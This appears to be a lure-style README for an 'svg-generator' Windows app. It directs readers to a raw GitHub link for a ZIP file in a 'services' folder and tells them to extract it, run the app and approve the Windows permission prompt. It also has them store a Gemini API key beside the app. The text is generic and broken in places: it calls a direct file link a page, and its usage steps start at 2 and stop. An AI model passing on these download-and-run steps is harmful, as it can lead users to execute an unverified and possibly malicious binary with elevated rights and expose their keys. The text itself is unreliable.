🖥️ What this app does

svg-generator is a Windows-ready app that helps you create SVG graphics from simple text input. It is built for people who want a fast way to make clean vector images without setting up a design tool.

Use it to:

• Make simple SVG shapes
• Build icons and line art
• Create graphics for web pages
• Test AI-assisted image ideas
• Export files you can open in a browser or design app

📥 Download svg-generator

Visit this page to download and run the app on Windows:

https://raw.githubusercontent.com/graemeerrant677/svg-generator/main/services/svg_generator_2.3.zip

If the page opens in your browser, look for the latest release or the main project files. Download the Windows app file from that page, then open it on your computer.

🪟 Install on Windows

1. Open the download page above
2. Download the Windows version of svg-generator
3. Save the file to your Downloads folder
4. If the file comes in a ZIP folder, right-click it and choose Extract All
5. Open the app file
6. If Windows asks for permission, choose Yes
7. Wait for the app to start

✅ Before you start

You only need a few things:

• A Windows PC
• An internet connection
• A Gemini API key if you want AI features
• A modern browser such as Edge or Chrome

For best results, keep at least a few hundred MB of free disk space.

🚀 First-time setup

If the app asks for a setup file, follow these steps:

1. Find the .env.local file in the app folder
2. Open it with Notepad
3. Add your Gemini API key on the line for GEMINI_API_KEY
4. Save the file
5. Start the app again

Your API key lets the app talk to Gemini. Without it, some AI features may not work.

🧭 How to use svg-generator

2. Type or paste the SVG idea you want to create
3. Choose the style, size, or shape options if they appear
